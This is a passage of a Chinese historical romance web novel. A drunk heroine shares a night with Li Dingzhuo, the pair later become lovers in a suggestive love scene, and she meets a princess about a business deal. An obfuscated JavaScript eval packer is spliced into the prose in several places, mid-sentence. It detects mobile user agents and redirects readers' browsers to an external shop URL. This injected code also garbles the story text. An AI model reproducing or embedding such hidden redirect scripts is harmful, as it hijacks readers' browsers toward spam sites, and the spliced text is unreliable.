玉欣怡：“诶……” 今日必是不宜出门！ 室内自剩两人，李定卓背身蹲下，转头道：“上来，我背你出去？” 江弥杉乖乖照做，唇贴在他耳廓，轻声问：“去哪？” 李定卓抱紧弥杉环在腰间的腿：“去我的宅院。” ：“兰香会担心的。” ：“我派人去传话。” ：“哦，我重吗？” ：“不重。” 47. 解酒汤 京郊与京城的院落都常备着合身的衣物，泡过澡，换上寝衣，江弥杉觉得身上那股由于快马而带起的黏糊感消退了许多，只是头还是晕乎乎的。 想起寝间外还有人在等，她扬声道：“我穿好了，你进来吧。” 外间，李定卓闻得尚还带着醉意的话语，端起手边的解酒汤，推门走进屋。 她便坐在榻边，散着的乌发尚还湿润，浸湿身上的稠衣，紧紧贴着身子，她双手放在腿上，清澈的目光跟着他慢慢动。 一股甜涩味飘至鼻底，江弥杉被熏的蹙眉，抬眼问面前的人，：“这是什么？” 李定卓端碗坐至她身边，耐心解释：“解酒汤。” ：“我没醉！” ：“……好，没醉。” 李定卓撑起一勺吹凉，哄着她：“喝了就不难受。” 江弥杉垂眸，狐疑地盯着那勺里的热棕汤，思索它是否真的和李定卓说的那样有奇效。 盯了片刻，她觉得没有，便默默往后挪了一些。 李定卓往前挪，继续哄：“若是喝了，我便答应你一个要求，可好？” 江弥杉觉得不错，露出笑容，才去将送至口边的热汤喝下。 一碗汤喝完，江弥杉觉得没有什么变化，又看李定卓端碗，起身要走，她连忙拉住他的袖边，急道：“你要去哪？” 袖边拉扯的力度不大，轻轻地留在手旁，李定卓侧身对上两颗着急的眸子。 沐浴后，她白皙的肌肤浮上被酒意熏染过的红晕，烛火缥缈，看上去水润的吹弹可破。 心咚的一下跳响，李定卓莫名觉得口燥，手不自觉地握紧。 江弥杉没等他回答，就继续问：“你不陪我了吗？” 偏偏，又是一副单纯天真的模样。 李定卓脑内旋着两个念头，一个留下，一个离开，理智劝告他选择第二种，否则他便是趁人之危。 但又有一个想法从心底冒出，你舍得让她难过吗？ 正是纠结的难以答复时，江弥杉牵着他的袖边站起，：“我要你陪我。” 她一字一字的说出，宛若一颗石子，飘着打过心池，溅出一团团涟漪。 ：“好。” 脱口而出的答复，在理智牵制之前，就从嗓子冒出。 江弥杉展颜笑起，：“那你陪我坐一会儿吧。” 李定卓随手将碗放置榻边的小桌上，又随江弥杉坐下。 江弥杉忽对握在李定卓膝盖上的手来了兴趣。 细长的指，筋骨清晰，有了墨色袍底的衬托，显得更加亮眼。 江弥杉伸出食指，戳上凸出的中指骨节，又沿着青筋滑至手腕，却被衣袖挡住了去路。 暖酥酥的触感从手蔓延而上，李定卓侧脸望着认真在他手上玩乐的江弥杉，眸底暗色沉浮，喉结不自觉地往下滑动。 ：“能让我摸摸你的手吗？” 转脸，四目相对，江弥杉感到很他的目光奇怪，但糊糊的脑子想不了太多，但还是补充了一句。 ：“被衣服挡住了。” 李定卓深呼吸一口气，也压不住躁动的心，兴许是屋内的碳火过于暖和，他觉得身子被烧的极热，背后的汗无法看见，但额间浮出热汗却无法掩盖。 ：“我……我去清洗一下。” ：“嗯，去吧。” ：“我等你。” 李定卓不住低咳一声，起身离开榻边，心想往后绝不能让江弥杉在多喝酒。 ＊ 用浴间的凉水冲了一遍，李定卓才冷静下来，扯过单衣，粗略地系上，在套上稠裤，穿戴整齐，站在门口徘徊。 他如何都想不到，江弥杉醉酒竟是这般模样，既乖，又危险，常提出些，令他很难镇定的要求，像个孩子。 却是他心中不净，做不到圣人那份坐怀不乱的持稳，满心只想…… 李定卓摇头，甩出多余的想法，深吸一口气，推开浴间的门。 走到榻前，适才还说等着的人，当下已拂在榻上，安静地闭眼睡下。 李定卓松了口气，轻步上前，坐至一旁，轻悄悄地脱下挂在她白足上的绣鞋，起身，一手从她细长的脖颈穿过，一手抱住她的腿弯，将她挪往里。 她睡意很浓，丝毫未有察觉，残存于手上的温软的触感，在她脱离的一刻浸入体肤。 李定卓半跪在榻上，目色温柔地凝望她安静地睡颜，情不自禁地抚摸上去。 软嫩地肌肤宛若要化在烫热手心，他一手拉过被褥为江弥杉盖上，唇角轻轻勾起，正欲就此离开，却给一手紧紧牵住。 ：“别……走……”红唇里吐出两个字，但她好似并没有醒。 ：“我好怕……” 李定卓不忍离开，想无论是坐，还是站，都不适宜，扰她安眠。 目光落在她转过的侧脸，旁边就是空着的软枕，便隔着被，在她身边躺下，试图让她安心。 当躺下的一刻，鼻息间萦绕起弥杉身上的馨香，心便不规矩地跳起，在此时，原本还隔着些距离的她，忽的凑进怀中。 湿热的气息洒在他唇下与脖颈间，只要在往前挪了一毫，唇便会相碰。 尚未彻底平息地心潮顷刻涌起，李定卓知觉脑边的筋都在跳，克制住一切躁动的心思，他往外挪了些。 如此却惊动了刚才还在熟睡的人，见她朦朦胧胧地眯眼，宛如还在梦里，话音都还染着绵糊糊的睡意。 ：“怎么不盖被子？” 李定卓身躯一震，撑大眼，眸光都在正颤，一动不动地望着似梦非梦的江弥杉。 ：“盖被子。” ：“……” 李定卓只好起身，掀起被褥躺进去。 江弥杉似心满意足，挪过来，伸手抱住它的肩膀，抬腿圈上腰腹。 但又感觉不对劲，毛绒大熊不应该这么硬，也不该这么烫，可贴着睡，又很舒服，干脆又凑近了些，脸蹭了蹭那硬/热的毛熊。 李定卓猝不及防地就被圈住了，一片暖热完全贴上了她，严严实实地，一丝空隙都不留。 他只觉浑身几乎要烫熟了，且热感股股向下涌，只是眨眼间的功夫，下方就再不受控制。 偏偏弥杉贴得很紧，不动难以自持，动了又怕惊扰她睡眠只得僵在床上，动弹不得。 他心里默念撑住，只需撑一晚，从前纵使被下药都撑住了，当下…… 当下应该没有问题！ ＊ 江弥杉睡的香甜，一夜无梦，却是在半梦半醒间，感觉身前很烫，也并不像被子一样软，似乎…… 更像一个人！！ 江弥杉惊得睁开眼，后知后觉地发现她整人都环在他身上，而且某处还抵着她。 她顿时吓地赶紧收回手腿，坐起身往后挪，又低头查看衣物，见穿戴整齐，借着帘幔散尽的微弱光线，小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056661|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼地探望人是谁，见是李定卓，不由松了口气。 下一刻，被睁开的暗目抓住。 ：“早……早上好？”江弥杉一眼望去就瞧见一处不对劲，连忙收回视线，尴尬地抓紧床单。 不出意外的话，昨晚她喝醉了，按照朋友的话来说，她喝醉以后，酒品不错，很乖巧，基本上不用操心，抱着大熊睡一觉就行。 因此，她应该没有做什么出格的事，只是把李定卓当成了大熊，抱了一个晚上…… 李定卓一夜未眠，煎熬至极，烈火燎心，他却要保持冷静。 这一夜，实在太漫长了。 见她醒了，人也醒了，李定卓沉默地拉过被褥，盖住小腹，随后坐起身，话音中带着沙沙的低哑：“好吧。” 江弥杉：“……” ：“我昨夜喝醉了，应该没有做什么事吧？”江弥杉还是放心不下，试探着问。 李定卓凑至她面前，问：“你指的是，什么事？” 江弥杉：“额……比如胡闹，胡言乱语，酒后……” 李定卓低笑一声，挑眉补充：“酒后招惹人？” 江弥杉暗道一声完了，看来是都有。 ：“那……要不，我帮你一回，就当赔罪了？” 李定卓唇角勾起，似是在看江弥杉要如何帮他。 话说出口，江弥杉又暗暗后悔，她不会，真的不会。 仅有的印象就是大学时候看过室友分享的深入读物，理论性强，实操完全没有。 亲，亲了会更难受吧…… 还是直接…… 江弥杉心里大喊喝酒害人，面上假装平静，忽略烫热的脸颊，正色道：“你把裤子换下……” 李定卓低笑一声，凑至江弥杉耳畔，低声道：“不急，就当你欠我一回。” ：“再睡会儿，时辰还早。” 说完，凑上她的唇，只是含了一下，就离开，接着背过身，撩被下床，去浴间解决。 江弥杉独坐床上，双手捂住烧烫的脸，试图回忆昨晚到底都做了什么，但又毫无头绪，唯一的印象大约就是李定卓背她离开…… 而后，一切都模模糊糊。 睡，她怎么可能睡的着！！ 浴间就在不远处，里面传出的动静清晰可闻，即便是刻意压制过，仍然无法避免。 江弥杉爬下床，撩开帘幔就见榻边的碗，猜想应当是解酒汤，穿上鞋，走去桌边倒水喝，试图冷静一会儿。 想法一个接一个冒，难道朋友在骗她，其实她喝醉了以后非常大胆，作天作地…… 要么就是，李定卓在骗她，但醒来时，她却是环着他，但他忍了一晚上…… 不会憋坏吧？ 江弥杉转身抬眼望向冒出动静的浴间，心里冒出一个极笑的回答，应该不会…… 喝酒误事！喝酒误事！！ 可是，她真的很久没有那样畅快地高兴过了…… 喝醉了，也很正常吧！ 做了就做了，欠着……就欠着吧…… 窗纱晨光熹微，晕染着地上一层白霜，风声翕动。 江弥杉自我劝慰好，又放下杯子，趁里面的人还没出来，悄悄上床，裹上余热未散的被子，侧身等待。 李定卓再从浴间出来时，已穿带整齐，走至榻前，轻轻撩开帘幔，想着辞别，见江弥杉已闭眼睡熟，静静看了片刻，才放下帘子，轻步离开。 48. [锁] [此章节已锁] 周旺起了个大早，特意去集市买了些炖鸡汤的配料。 昨夜，说是去送汤药的大人一去不回，虽然以大人的品行，大约不会做出趁人之危的事，但万一少年情动，把持不住，生米煮成熟饭，细想下来，也并无可能…… 是该给姑娘补补身子！ 因而早起烧好洗漱的热水，做好早饭吃得白菜包和鸡丝粥，周旺便出门了。 江弥杉起来时，天已大亮，又一场饱足的睡眠，酒气消耗殆尽，神清气爽，洗漱过后，她便去吃早饭。 她一面往居苑走，一面想着昨日后半夜的事情。 李定卓应该是处理好，打扫干净浴间，看她睡着便离开了。 昨夜他忍得辛苦，也没对她做什么，虽然说欠着，但这种事，并不一定非要欠着…… 只是，有个小要求。 想到要求，就到了居苑。 江弥杉做足心理准备，走进经常吃饭的厅堂，正好对上李定卓投出的等待目光。 桌上摆放着两套碗筷与吃食，江弥杉胸口一热，抿唇微笑，走进坐下。 ：“等我许久了吧？”她问。 李定卓揭开锅盖，语中还带着些懒散：“我也刚起不久。” 江弥杉沉默着思索片刻，看他盛着粥，又想到人常说，憋久了对身体不好，便问出心里的疑问。 话语轻低又流露关切：“你……你可还好？” 李定卓盛汤的动作一滞，晓得她问得是什么。 可那个男子会与心仪的女子答不好，就算有，也不会直答不好。 李定卓：“还好，没什么问题。” ：“真的？” ：“……” 听得弥杉又问，李定卓欲言又止地挑起左眉，望着那对存着怀疑的眼眸，沉默片刻，认真地答复：“我空口无凭，你将来一试便知。” 江弥杉眸中浮上羞涩的笑意，从李定卓手里接过勺，心随之快跳，似是已经按耐不住。 盛着粥，江弥杉望向李定卓，斟酌着问：“镇抚司可有……” 李定卓不禁感到奇怪，江弥杉从未在他面前多问起过镇抚司的相关事情，今日怎么突然有了问题。 他停下盛粥，反问：“可有什么？” 江弥杉组织该怎么形容，：“可有帮助女子不易怀生孕的物件？” ：“大约……就是，避孕的物件。” 李定卓眼眸颤动，如被凝固一般静止在座位上，似乎从未想过江弥杉会说出这些，会主动提起这个。 江弥杉打量李定卓如此震惊的反应，心似打起拨浪鼓的忐忑乱跳。 她的话对于这个时代而言，可能还是太不矜持了，显得放荡与有违传宗接代的礼法。 可是，她不想太早就因为这个事情怀孕，做好防护措施总没有问题。 ； 江弥杉担心李定卓误会，解释：“我并非是不愿，只是，我们都壮志未酬，太早有孕，我怕会精力不济，待时机成熟，在安心此事，也不迟……” 越往后说，江弥杉越没有底气，她说得很正常，但是，听上去就很像她想反悔。 李定卓一字一句的听完，心中波涛汹涌，他心中欲念早是难以收敛，但尚未成婚，即便很想，但再近一步就是对弥杉的冒犯。 可弥杉竟提了出来，这……是将生米煮成熟饭。 李定卓不禁觉得喉干舌燥，突出的喉结往下滑动。 镇抚司中，多是刑具，但有此功效的物件，也并非没有。 有时需假戏真做，就需这些物件以绝后患。 沉默的对望良久，李定卓只说的出一字：“有。” 江弥杉松了口气，盛了一碗粥，垂眸道：“我今夜不回去。” 李定卓捏紧勺，：“嗯。” 周叔所猜测的事，是要做实了。 午饭时，周旺盛了满满一碗汤端给江弥杉，：“姑娘，乌鸡汤对女子调养身子，增补气血再合适不过了，我还添了黄芪、枸杞、红枣这些药材一起炖煮，正适合补身，姑娘待会儿再喝一碗。” 江弥杉只好道谢：“谢谢周伯伯。” 一面又觉得周旺是不是误会了什么，她不是像醉了，而是像做了什么有损身体的事情，需要大补特补。 脑内忽灵光闪过，江弥杉震惊地一愣，目光转向正夹菜的李定卓。 留宿，孤男寡女共处一室…… 这个情况，实在说不清，说了人也不会相信。 江弥杉暗道一声喝酒误事，对周旺一笑，盛起一勺汤喝下。 午饭后，李定卓就出门了，周旺备马前，还感叹镇抚司事务繁忙，休沐都不得放松。 知情的江弥杉：“……是啊。” ＊ 入夜，江弥杉泡了两刻钟的澡，才换上寝衣，从浴间走出，坐至梳妆台前梳发。 本来是没什么的，但李定卓说，昨夜在周旺眼里已是不清白，若是今夜在同住一夜，明日他必将会被劝告。 于是，只好等周旺先睡下，他再来。 江弥杉无言以对，又觉得不太对劲，这种情形实在太像背着家长谈恋爱了，以至于她甚至会担心，如果李定卓半路被抓怎么办这种荒诞的情况。 也很像看过的话本子，翻墙入室，私定终身这一幕…… 窗纱之上，月色清明，烛光闪动，带亮镜中人眼底浮动的绚丽光彩。 此时门忽被扣响，不过一会儿，就传来门被推开的动静。 江弥杉心也跟着怦然跳动，她放下木梳，对向门坐，拨弄起胸前的一缕乌发。 随着几声快步，卧房的门也随之被推开，江弥杉忍不住，抢先道：“这么急做什么？” 李定卓没有回答，转身关上门，径直走至凳前，拉住她往身上带起，堵住她的口唇，又一步一步地往前。 江弥杉往后退，直至抵上梳妆台，退无可退，她怀抱着眼前不安抚地脑袋，轻轻抚滑，耳边只有交流的水声。 唇被力覆盖，热意摩擦而起，迅速从上占染面庞，往下浸染紧贴的肌体。 暖酥从唇蔓延交织，在又一回逃离时，被拦下，进而攻城略地。 呼吸带动起伏的哑声在耳畔嬉戏，江弥杉觉着耳痒酥酥的，不禁想笑，但却化作轻飘飘地鼓点，想躲，却引的人不满。 李定卓沉浸于着日思夜想的芳甜，将清香品略殆尽，一手固住她的躲避的头，一手悄悄攀入衣边。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068918|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 稀世之宝，都不及。 李定卓拨开散在她香颈间的发，沿唇而下，留恋发下清香。 江弥杉无力贴靠，脑内渐渐糊乱，她感到有掌更热的手，唇下也被一点一点熨烫，她不知该如何表达，一字都说不出。 在还未反应时，她感觉一切都停了，接着腾空而起，她醒神睁眼，下意识地搂紧唯一可依靠的脖颈。 却免不了对上烛火中炙热的眼眸，不似往常那样平静，情愫归暗，浮浮沉沉，擦出此星火。 他身上清沉的茶香也在丝丝缕缕地围绕着她，似暖泉一般。 江弥杉仰望着这幅她喜欢的面颜，轻声道：“真好看。” 李定卓垂眸，听过夸女子生得好看，却少见夸男子好看的，但他知晓，弥杉很喜欢。 他唇角扬起，将人放至榻上，解去身上的衣袍，只留稠裤。 江弥杉目不转睛地望着，宽肩窄腰，肌肉没有太过鼓厚，又没有薄细，恰到好处，勃发又秀美，常年练武而塑成，线条流畅有力，随着呼吸一起一伏。 江弥杉穆然感到心头痒痒，十分想上手。 但，还未等她动作，李定卓便方下帘帐，凑压而入。 江弥杉下意识地往后躲，就被搂住腰，一阵天旋地转，仰躺着被压住。 青丝散乱而开，李定卓白臂杵在发上，乌发一缕沾上粉面，桃花目水波粼粼，他轻轻拨开，唇又再次落下，顷刻就点燃未散尽的情愫。 江弥杉羞涩地别过脸去，却又好奇，便一点一点地探索。 不知何时，从帘帐内随意掉出几件衣物，，秋寒却不入帘帐。 ：“我会温柔些……” ：“可好？” 涌升的情愫如滚来的潮浪一般难以测度，使人期待又担心，江弥杉心跳快若奏鼓，掌心滑上并不细腻的掌，紧接着十指相扣。 她闭眼胡乱点几下头，身上多余的力气都没有，手指用力相扣。 心里复杂，她很想哭，又很想笑，这股陌生的复杂感受，将她整颗心淹没，她眼中汪起泪珠，沿着眼角落下。 李定卓俯身而下，轻轻吻入滑落的泪珠，拂去泪痕，轻语安抚着，心从未有过的欣畅，化为一汪跳跃的暖泉，咕嘟噜嘟地跳响。 江弥杉很想逃，但身体却不受思维控制，矛盾交错，又心甘情愿，只得说一句。 ：“我……我没事……” 李定卓嗯了一声，眼底晦暗沉沉：“……好。” 生涩地适应之后，一切水到渠成，犹如菜肴，初时尚能慢慢品尝，往后只想大快朵颐。 云翻浪滚，风烟不静，声扬话稠。 烛燃至后半夜，风浪暂止，窗外风吹树摇，簇簇抖响。 李定卓撩开帘帐，将用过的物件用软帕包裹起来，放至榻边，又回身到账内，怀抱住已然昏睡的江弥杉，轻吻一下她湿热的额间，心满意足地睡去。 清早，周旺送早饭到居苑，听李定卓交代，再熬回乌鸡汤，说弥杉喜欢喝。 周旺觉得奇怪，昨日没看出来姑娘喜欢喝的，不过也没有多问。 姑娘爱喝，又不是什么大菜，照样子熬一锅就好。 照顾好姑娘才是关键！ 49. 金乳酥 晨间的睡意散去，身体却还乏累，耳畔传来几道脚步声，江弥杉闭眼翻身，面对帘子，眼微睁成细缝，就帘幔引出一道人影。 随后床帘被轻轻打开，露让她这样困累的罪魁罪魁祸首。 江弥杉这才完全睁眼，懒懒地打了个哈切，一动也不想动，安静与李定卓对望。 只是视线相凝，就足够令心池泛起涟漪。 李定卓蹲下，轻声询问：“可要喝水？” 口唇的湿润似已被未褪去的余热熨干，迫切需要一滴水，缓解枯燥。 江弥杉眼底浮上笑意，点头肯定：“嗯。” ：“我抱你起来？” 江弥杉裹着被褥，蠕动挪至床边，笑眼弯弯，抬起手，趴入李定卓的怀中，又忍不住隔衣捏了捏胸肌。 李定卓将人扶起，又去到茶水，深感她实在爱这幅身子，到今日还如此…… 爱不释手。 一杯茶水喝完，温热醒身，江弥杉才觉得活了过来。 李定卓：“我带了早饭过来，你……可走的了？” 江弥杉眯眼，疑问：“走不了怪谁？” 李定卓垂下眸：“……” 昨夜种种，她算是体会到什么是反差感，怎么会休息一会儿，又有征兆，真是色令智昏…… 什么最后一回，全是假的！！ 回忆起来，还是心热耳烧，江弥杉推他往外，：“我要换衣沐浴了。” 李定卓仍由她推，起身时拉起帘子，想着天气渐凉，是该在拿出绸缎做几身御寒的衣裙，放在居苑。 他走至桌前坐下，考虑着是否要再置一个宅院。 要距离清尚街、食肆不远，如此方便接送…… 他这时才觉得，其实他的忍耐力并非坚如磐石，甚至又为置宅院的初衷而惭愧。 还有宫里，也要给个交代虽然早已和皇帝说过，但成亲之事，有必要告之，好让太后安心。 虽然，太后并不安心…… 午饭后，花园秋景怡人，正适合饭后消食。 沿石路小道慢慢走入，李定卓终是按耐不住，四周又无人，牵着身侧软手，问：“你何时给我名份？” 江弥杉险些脚一滑，幸好站稳了，她转头望向略微委屈的李定卓，心知事情发生，他是想进一步，但还是按不住的想逗一下。 正色解释：“怎么会没名分呢，情人，我们是正经情人。” 李定卓不满的蹙眉，他不明白，为何逗如此了，弥杉还是不愿定亲。 往日尚可退一步，今日，绝不能在仍由她如此。 ：“这个不算，我必须要有确切的名分。” 江弥杉憋笑，佳假作思索，片刻后，试探地道：“……那，我请媒婆，与你提亲？” 李定卓诧异地脚步一滞，眨了数下眼睛，才确定没有听错：“……” 短暂的安静后，江弥杉望他呆了，担心玩笑开过头了，正要补充，此时，身侧的人才有了回应。 ：“这些事我来做。” 闻言，江弥杉轻笑一声，：“好。” ＊ 提亲是在重阳节后，又卖几日的八宝鸭，江记照例休息。 阳光明媚，江弥杉收到宝和长公主的请贴，第二日去长公主府时，她一路都在想嘉容究竟有什么事情要和她说。 不是做宴，只是请她到长公主赏菊花。 到长公主府，有侍女引路，江弥杉对宫规的认识并不多，但好在有记忆补充短缺。 府邸雕梁画栋，水清树红，花艳多姿，一路有侍女整齐排成一列，手捧各样物件慢行。 嘉容日常的居所是怡凤殿，修建的更是一步一景，假石瀑布、林花斜窗，小桥流水。 江弥杉到时，嘉容做在池上的木桥洒鱼食，侍女通报一声，她侧身迅声看来，阳日下展颜一笑，亲和又耀眼。 江弥杉本要跪下行礼，嘉容先开口打住：“免礼，上来与我赏鱼吧。”接着又吩咐侍女去备茶点。 侍女都弯身退下，江弥杉愣愣望着桥上的嘉容。 之前在食肆所见，她打扮的大多都类似一位没有出嫁的少女，衣着打扮已是不凡，而当下，华服金饰，耀耀阳光投散在衣裙上，带起一层光泽，宛若凤凰临世。 ：“弥杉，无须多礼，上来赏鱼。” 江弥杉这才回过神，收起眼中被惊艳的呆光，有些不好意思，回了声是，上桥走到嘉容身边。 赵嘉容转头，将江弥杉从头到脚打量一道，见她身上多穿衣裳、首饰所用不差，才笑着打探：“我听说，你定亲了？” 江弥杉一愣，立刻明白嘉容为什么邀请她来府上赏花，原来还是宫里不放心。 江弥杉笑回：“嗯，重阳节后定的亲。” 四周无人，嘉容便也直言：“开春以来，母后一阵担心呢。” 江弥杉疑惑：“担心？” 赵嘉容笑着，：“皇兄早已将你与李指挥使得事情转告母后，但……” 江弥杉越发好奇，赵嘉容岔开话：“你不许告诉李大人。” 江弥杉轻笑一声，保证完，：“长公主请说吧。” 嘉容才完全放心：“但……李指挥使名声不大好，母后担心，他只是一时兴起，唬骗你。” ：“重阳节后，母后晓得李指挥使与你提亲了，我又去了岳山，前几日回来，进宫与母后请安，母后就必要我请你至府上细说。” 嘉容声音更轻了，：“母后说，即便定了亲也不要紧，你何时不愿，都可，母后会帮你。” ：“她想问你，是否真决定嫁与李指挥使。” 江弥杉震撼地挑起眉，她知道太后对她特别照顾，但是从未想到过，她竟会细致到她的婚事都格外操心。 没有血缘关系，仅仅只是因为是故友的血脉。 嘉容微微笑着，替母亲将不合情理的事解释明白，：“母后常说，林夫人虽不在了，见不到你出嫁，但她想为你好好操办，让林夫人与将军安心。” ：“林夫人比任何人都希望你能平安喜乐。” ：“当年她与林夫人不是姐妹，胜似姐妹，她想为姐姐，照顾好你。” 听嘉容说完，江弥杉深感愧疚，如果太后只是一位普通人，她愿意做满满一桌饭菜让她享用，报答她的关照之情。 但，她根本找不到途径去感谢，可能请那位管事带回的茶点也送不到太后面前。 江弥杉胸口一热，鼻头就跟着泛酸，点头表明清楚了，：“太后的恩情，我无以为报，请长公主转告太后，我想好了，嫁于李定卓。” ：“他虽名声不好，但待我很是用心和体贴，他真诚待我，我也分辨得出是另有目的，还是真心诚意。” ：“若日后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093978|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有变，我也会选择合离，我并非只能依靠他而活，我还有食肆呢。” 嘉容唇角渐渐提起，她很喜欢江弥杉身上这股劲。 江弥杉知晓她要什么，又并非拖沓之人，她所说的，她定能做到。 赵嘉容：“好，我会转告母后的。” ：“不过，若是走到那一步，恐怕并不能轻易合离。” 兴许李定卓会不签合离书，以此困住江弥杉。 江弥杉思索片刻，觉得赵嘉容说的有理。 虽然很不想麻烦太后，但是如果没有太后，真的很难做成。 江弥杉更惭愧，垂着头低声道：“还请殿下一问，太后能否赐我合离书一份。” 赵嘉容觉得此事并不难办，她也有一封合离诏书，不拘时间、对象，只要她拿出诏书，即可合离。 ：“好，我替你一问。” 按母后不放心的态度，必定会答应，会去与皇兄商量。 江弥杉谢恩：“多谢长公主殿下。” 赵嘉容扶起江弥杉：“不必如此客气。”说着牵她往小亭里走。 才坐下，就有侍女端来茶果点心，茶点样式精致，是典型的贵人点，样式精美细致，可吃可赏。 领头的侍女逐一介绍：“膳房刚做的金乳酥、金菊糕、秋枫片，以小勺食用。” 赵嘉容点头，侍女又退下，她轻叹一声：“平日少有人陪我品茶点。”她又展颜一笑：“今日不错，有你陪我了。” ：“快尝尝金乳酥，膳房这个点心做的最好。” 金乳酥做成了花型，花瓣层层叠叠，宛若一颗金黄的荷花。 江弥杉笑回好，捏起银勺轻轻沿边划下，送入口。 奶香浓郁，又酥又软，口感蓬松软棉，像一颗棉花。 ：“如何？” ：“很美味，无瑕疵的美味。” 赵嘉容满意地展颜笑问：“何时能在江记尝到？” 江弥杉：“……” 她也想做啊，可是牛奶很贵！！！ 江弥杉只好将理由说出：“金乳酥做时需加入牛乳，但牛乳坊间价贵，若要售卖，价格就需抬高，且牛乳不易储存，放久容易变质，因而，一直未做过。” ：“是吗？若是你需要，我可吩咐庄子送于你。”供应牛乳并不难。 ：“还是，你不愿？” 江弥杉一时间不知该如何回答，长公主不会在乎钱两，但她又不想免费白拿，焦灼间，一个念头闪过她的脑海。 江弥杉眼前一亮，：“愿的，只是不愿白拿，长公主殿下可考虑，将牛乳作为一项投款，放入江记，按分成算，每年，我们以此为剧分利润？” 赵嘉容听明白了：“可我不需要分利。”她的嫁妆就足够她使用了。 江弥杉：“……” ：“分成也有多少划分，不然我怎好白用长公主所供的牛乳？” 赵嘉容没有犹豫：“那便你九我一，如此便可。” 江弥杉心里泪流满面，她上那找这样的天使投资人啊啊啊！！ ：“不如写份契文，长公主与我各持一份。” ：“好，照你说的办。” 赵嘉容：“我到期待起江记的推荐菜了。” 江弥杉：“尽力不让长公主殿下失望。” 赵嘉容莞尔笑道：“我拭目以待。” 50. 蟹黄豆腐 李定卓又一次在下陪皇帝到御花园散步，两人年纪相差不大，未登基前又一路配合，完成了许多政务，彼此也算挚友。 走至御花园，皇帝想起前日母后与他提起的事，又是与李定卓相关，便也不打算瞒着：“母后前日与朕商议了一件事，朕同意了。” 皇帝很少提这些，李定卓虽觉得奇怪，但还是道：“皇上圣意已决，太后娘娘想来也很是欣悦。” ：“是有关于弥杉与你的事。” ：“……” ：“你也晓得，母后对弥杉甚是关心，她言辞恳切，为弥杉请了一封休书。” 李定卓难得急了：“皇上！” 皇帝看李定卓失态，先是一愣，心暗笑一声，面上却也没有怪罪，眸扫过来，语气淡淡：“弥杉也算是朕的小妹，再者母后也有此心，朕自然不好回绝。” ：“……” ：“弥杉在宫外，你若照顾得不上心，也理所当然。” ：“我朝，最不缺儿郎。” 李定卓听的懂话后之意，抱拳承诺：“皇上，微臣必不会辜负弥杉。” 皇帝压声低笑，：“但愿休书用不到吧。” 李定卓：“……” 从皇宫出来正值饭点，李定卓来不及换身上的服制，独自策马去了江记。 兴许是对锦衣卫的畏惧，又身着红袍，店内食客一时都拘束了不少，只等他进了包间，才稍微放开了些。 忙碌的厨间没有多余的交谈声，各自专注于手上的烹饪。 江弥杉照看着灶上的蟹黄豆腐煲，矮砂锅中，咕嘟咕嘟响如鼓声，她揭开盖子，一团团鲜香随热风飘散而开。 灿灿金泉热泡滚起，美丽亮眼，嫩白的豆腐汪在热泉中，轻轻颤动，嫩绿的豌豆，橘红的胡萝卜飘飘浮浮，一锅鲜美。 蟹是今年最后一批货，肥得很，前几日牛奶送到，江弥杉就出推了咖喱乳香蟹，今日用的是储备下来的，又做了豆腐，正好拼成蟹黄豆腐。 江弥杉从手边的罐子里撑起淡白的欠汁，逐锅加入拌匀，又盖上盖子继续焖煮。 最后一个锅盖好，兰香匆匆跑进厨房，先流利地报完菜，穿过方万宜与姚丹，快步走至江弥杉身边。 看她有事说的模样，江弥杉侧身问：“怎么了？” 兰香嗅嗅鼻底飘着的鲜香，分明刚吃过不久，这会儿又蠢蠢欲动。 鲜香飘飘间，她轻声转告：“李公子来了，在一层的二号包间呢。” 江弥杉先是奇怪，又猜想李定卓兴许有事要说，但再看一眼灶上的锅，其他人都在忙，当下并不适宜走开，便回：“我一会儿就去，请他稍待片刻。” 兰香点头答应，又忙着跑出厨间，招乎客人。 李定卓点的菜不多，只有蟹黄豆腐，连着前几桌的点餐，灶上的备菜正好用完。 新的一批姜绮已提前备好，跟着就放上炉灶，江弥杉便推着餐车出去。 今天推的推荐菜就是蟹黄豆腐，因此各桌上都有一份，也能瞧见几个熟人。 有如花易仟与文苒这对夫妻，今日多了一位花逸，一家三口、还有许久没有见到的秦绍麒，和表弟炉灿宇一桌…… 江弥杉推车上好各桌的菜，才往包间去。 敲门而入，江弥杉先是一愣，更发奇怪，平常时候李定卓一般是晚上才来，今日不仅是正午，还穿着指挥使的服制，这更少见。 李定卓问声抬眼，见来人的江弥杉，冷寒神色才少有动容。 江弥杉走至桌旁，端上煲、米饭和几碟凉菜，笑问：“今日怎么来的这么早？” 李定卓望着她，目光温饿许多，回道：“从宫里出来，饿了。” 